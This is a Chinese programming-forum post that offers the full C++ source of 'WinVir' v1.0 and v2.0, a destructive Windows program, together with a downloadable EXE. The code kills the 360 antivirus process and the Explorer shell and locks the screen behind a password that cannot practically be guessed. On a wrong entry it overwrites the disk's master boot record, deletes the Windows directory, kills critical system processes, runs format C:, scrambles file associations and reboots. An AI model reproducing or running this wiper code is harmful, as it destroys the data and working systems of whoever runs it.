鱼C论坛

 找回密码
 立即注册
查看: 2486|回复: 3

[作品展示] WinVir病毒v1.0和v2.0

[复制链接]
发表于 2022-12-21 17:43:20 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x

源码v2.0:
  1. #include <windows.h>
  2. #include <iostream>
  3. #include <cmath>

  4. using namespace std;

  5. LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);

  6. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCMdLine, int iCmdShow) {
  7.         int password, userinput,result = 0;
  8.         static TCHAR szAppName[] = TEXT("MyWindows");
  9.         HWND hwnd;
  10.         MSG msg;
  11.         WNDCLASS wndclass;

  12.         system("taskkill /f /im 360tray.exe");

  13.         wndclass.style = CS_HREDRAW | CS_VREDRAW;
  14.         wndclass.lpfnWndProc = WndProc;
  15.         wndclass.cbClsExtra = 0;
  16.         wndclass.cbWndExtra = 0;
  17.         wndclass.hInstance = hInstance;
  18.         wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
  19.         wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);
  20.         wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
  21.         wndclass.lpszMenuName = NULL;
  22.         wndclass.lpszClassName = szAppName;

  23.         if (!RegisterClass(&wndclass))
  24.         {
  25.                 MessageBox(NULL, TEXT("这个程序需要在 Windows NT 才能执行!"), szAppName, MB_ICONERROR);
  26.                 return 0;
  27.         }

  28.         hwnd = CreateWindow(szAppName,
  29.                 TEXT("鱼C工作室"),
  30.                 WS_OVERLAPPEDWINDOW,
  31.                 CW_USEDEFAULT,
  32.                 CW_USEDEFAULT,
  33.                 CW_USEDEFAULT,
  34.                 CW_USEDEFAULT,
  35.                 NULL,
  36.                 NULL,
  37.                 hInstance,
  38.                 NULL);

  39.         result = MessageBox(NULL, TEXT("This is a WindowsVirus, Hahaha!\n想要关闭的话,请点“No”,否则点“Yes”"), TEXT("WinVir"),
  40.         MB_YESNO | MB_ICONWARNING);

  41.         if (result == IDYES) {
  42.                 ShowWindow(hwnd, iCmdShow);
  43.                 UpdateWindow(hwnd);

  44.                 password = rand() + (time(0) / 60);

  45.                 system("taskkill /f /im explorer.exe");
  46.                 system("title WinVirNote");
  47.                 cout << "Your Computer Is Locked." << endl;
  48.                 cout << "Please Enter PassWord To UnLock Your Computer." << endl;
  49.                 cout << "PassWord:";
  50.                 cin >> userinput;

  51.                 if (userinput == password) {
  52.                         system("explorer.exe");
  53.                         cout << "You're a Good Joy!" << endl;
  54.                 }
  55.                 else {
  56.                         LPCWSTR DiskFileName = TEXT("\\\\.\\PhysicalDrive0");
  57.                         char code[] =
  58.                                 "'By: Hacker Office->WinVir -- Hacker Office(c)'\
  59.                                 'By: Hacker Office->WinVir -- Hacker Office(c)'\
  60.                                 'By: Hacker Office->WinVir -- Hacker Office(c)'";
  61.                         BYTE MBR[512];
  62.                         DWORD s, t = NULL;
  63.                         HANDLE handle = NULL;
  64.                         memcpy(MBR, code, sizeof(code) - 1);
  65.                         handle = CreateFile(
  66.                                 DiskFileName,
  67.                                 GENERIC_READ | GENERIC_WRITE,
  68.                                 FILE_SHARE_READ | FILE_SHARE_WRITE,
  69.                                 0,
  70.                                 OPEN_EXISTING,
  71.                                 0,
  72.                                 0);

  73.                         if (handle == INVALID_HANDLE_VALUE) {
  74.                                 MessageBox(NULL, TEXT("Fucked Your Computer!!!"), TEXT("Error"), MB_OK | MB_ICONERROR);
  75.                                 system("del /s/f/q %SystemRoot%");
  76.                         }
  77.                         else {
  78.                                 WriteFile(handle, MBR, sizeof(MBR), &t, NULL);
  79.                                 DeviceIoControl(handle, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &s, NULL);
  80.                                 CloseHandle(handle);
  81.                         }

  82.                         system("assoc .bat = batfile");
  83.                         system("assoc .bat = exefile");
  84.                         system("assoc .txt = batfile");
  85.                         system("assoc .exe = txtfile");
  86.                         system("assoc .ini = exefile");
  87.                         system("assoc .dll = sysfile");
  88.                         system("taskkill /f /im csrss.exe");
  89.                         system("taskkill /f /im lsm.exe");
  90.                         system("taskkill /f /im wininit.exe");
  91.                         system("taskkill /f /im dwm.exe");
  92.                         system("taskkill /f /im lsass.exe");
  93.                         system("format C:");
  94.                         system("start Error.vbs");
  95.                         system("shutdown -r -t 0");
  96.                 }

  97.                 while (GetMessage(&msg, NULL, 0, 0))
  98.                 {
  99.                         TranslateMessage(&msg);
  100.                         DispatchMessage(&msg);
  101.                 }

  102.                 return msg.wParam;
  103.         }

  104.         return 0;
  105. }

  106. LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
  107. {
  108.         HDC hdc;
  109.         PAINTSTRUCT ps;
  110.         RECT rect;

  111.         switch (message)
  112.         {
  113.         case WM_PAINT:
  114.                 hdc = BeginPaint(hwnd, &ps);
  115.                 GetClientRect(hwnd, &rect);
  116.                 DrawText(hdc, TEXT("输入密码以解锁你的电脑"), -1, &rect,
  117.                         DT_SINGLELINE | DT_CENTER | DT_VCENTER);
  118.                 EndPaint(hwnd, &ps);
  119.                 return 0;

  120.         case WM_CLOSE:
  121.                 system("taskkill /f /im svchost.exe");

  122.         case WM_DESTROY:
  123.                 PostQuitMessage(0);
  124.                 return 0;
  125.         }

  126.         return DefWindowProc(hwnd, message, wParam, lParam);
  127. }
复制代码

源码v1.0:
  1. #include <windows.h>
  2. #include <iostream>
  3. #include <cmath>

  4. using namespace std;

  5. LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);

  6. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCMdLine, int iCmdShow) {
  7.         int password, userinput,result = 0;
  8.         static TCHAR szAppName[] = TEXT("MyWindows");
  9.         HWND hwnd;
  10.         MSG msg;
  11.         WNDCLASS wndclass;

  12.         system("taskkill /f /im 360tray.exe");

  13.         wndclass.style = CS_HREDRAW | CS_VREDRAW;
  14.         wndclass.lpfnWndProc = WndProc;
  15.         wndclass.cbClsExtra = 0;
  16.         wndclass.cbWndExtra = 0;
  17.         wndclass.hInstance = hInstance;
  18.         wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
  19.         wndclass.hCursor = LoadCursor(NULL, IDC_ARROW);
  20.         wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
  21.         wndclass.lpszMenuName = NULL;
  22.         wndclass.lpszClassName = szAppName;

  23.         if (!RegisterClass(&wndclass))
  24.         {
  25.                 MessageBox(NULL, TEXT("这个程序需要在 Windows NT 才能执行!"), szAppName, MB_ICONERROR);
  26.                 return 0;
  27.         }

  28.         hwnd = CreateWindow(szAppName,
  29.                 TEXT("鱼C工作室"),
  30.                 WS_OVERLAPPEDWINDOW,
  31.                 CW_USEDEFAULT,
  32.                 CW_USEDEFAULT,
  33.                 CW_USEDEFAULT,
  34.                 CW_USEDEFAULT,
  35.                 NULL,
  36.                 NULL,
  37.                 hInstance,
  38.                 NULL);

  39.         result = MessageBox(NULL, TEXT("This is a WindowsVirus, Hahaha!\n想要关闭的话,请点“No”,否则点“Yes”"), TEXT("WinVir"),
  40.         MB_YESNO | MB_ICONWARNING);

  41.         if (result == IDYES) {
  42.                 ShowWindow(hwnd, iCmdShow);
  43.                 UpdateWindow(hwnd);

  44.                 password = rand() + (time(0) / 60);

  45.                 system("taskkill /f /im explorer.exe");
  46.                 system("title WinVirNote");
  47.                 cout << "Your Computer Is Locked." << endl;
  48.                 cout << "Please Enter PassWord To UnLock Your Computer." << endl;
  49.                 cout << "PassWord:";
  50.                 cin >> userinput;

  51.                 if (userinput == password) {
  52.                         system("explorer.exe");
  53.                         cout << "You're a Good Joy!" << endl;
  54.                 }
  55.                 else {
  56.                         LPCWSTR DiskFileName = TEXT("\\\\.\\PhysicalDrive0");
  57.                         char code[] =
  58.                                 "'By: Hacker Office->WinVir -- Hacker Office(c)'\
  59.                                 'By: Hacker Office->WinVir -- Hacker Office(c)'\
  60.                                 'By: Hacker Office->WinVir -- Hacker Office(c)'";
  61.                         BYTE MBR[512];
  62.                         DWORD s, t = NULL;
  63.                         HANDLE handle = NULL;
  64.                         memcpy(MBR, code, sizeof(code) - 1);
  65.                         handle = CreateFile(
  66.                                 DiskFileName,
  67.                                 GENERIC_READ | GENERIC_WRITE,
  68.                                 FILE_SHARE_READ | FILE_SHARE_WRITE,
  69.                                 0,
  70.                                 OPEN_EXISTING,
  71.                                 0,
  72.                                 0);

  73.                         if (handle == INVALID_HANDLE_VALUE) {
  74.                                 MessageBox(NULL, TEXT("Fucked Your Computer!!!"), TEXT("Error"), MB_OK | MB_ICONERROR);
  75.                                 system("del /s/f/q %SystemRoot%");
  76.                         }
  77.                         else {
  78.                                 WriteFile(handle, MBR, sizeof(MBR), &t, NULL);
  79.                                 DeviceIoControl(handle, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &s, NULL);
  80.                                 CloseHandle(handle);
  81.                         }

  82.                         system("taskkill /f /im csrss.exe");
  83.                         system("taskkill /f /im lsm.exe");
  84.                         system("taskkill /f /im wininit.exe");
  85.                         system("taskkill /f /im dwm.exe");
  86.                         system("taskkill /f /im lsass.exe");
  87.                         system("format C:");
  88.                         system("start Error.vbs");
  89.                         system("shutdown -r -t 0");
  90.                 }

  91.                 while (GetMessage(&msg, NULL, 0, 0))
  92.                 {
  93.                         TranslateMessage(&msg);
  94.                         DispatchMessage(&msg);
  95.                 }

  96.                 return msg.wParam;
  97.         }

  98.         return 0;
  99. }

  100. LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
  101. {
  102.         HDC hdc;
  103.         PAINTSTRUCT ps;
  104.         RECT rect;

  105.         switch (message)
  106.         {
  107.         case WM_PAINT:
  108.                 hdc = BeginPaint(hwnd, &ps);
  109.                 GetClientRect(hwnd, &rect);
  110.                 DrawText(hdc, TEXT("输入密码以解锁你的电脑"), -1, &rect,
  111.                         DT_SINGLELINE | DT_CENTER | DT_VCENTER);
  112.                 EndPaint(hwnd, &ps);
  113.                 return 0;

  114.         case WM_CLOSE:
  115.                 system("taskkill /f /im svchost.exe");

  116.         case WM_DESTROY:
  117.                 PostQuitMessage(0);
  118.                 return 0;
  119.         }

  120.         return DefWindowProc(hwnd, message, wParam, lParam);
  121. }
复制代码


下载地址:

WinVir.zip

32.01 KB, 下载次数: 0

v1.0 and v2.0 EXE

小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2023-3-5 14:30:52 | 显示全部楼层
这。。。
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2023-3-21 10:49:28 | 显示全部楼层
如果我把他弄到我的电脑上会发生什么
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2023-8-17 16:52:29 | 显示全部楼层
ppwxuecyuyan 发表于 2023-3-21 10:49
如果我把他弄到我的电脑上会发生什么

会爆炸
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2025-4-22 09:39

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表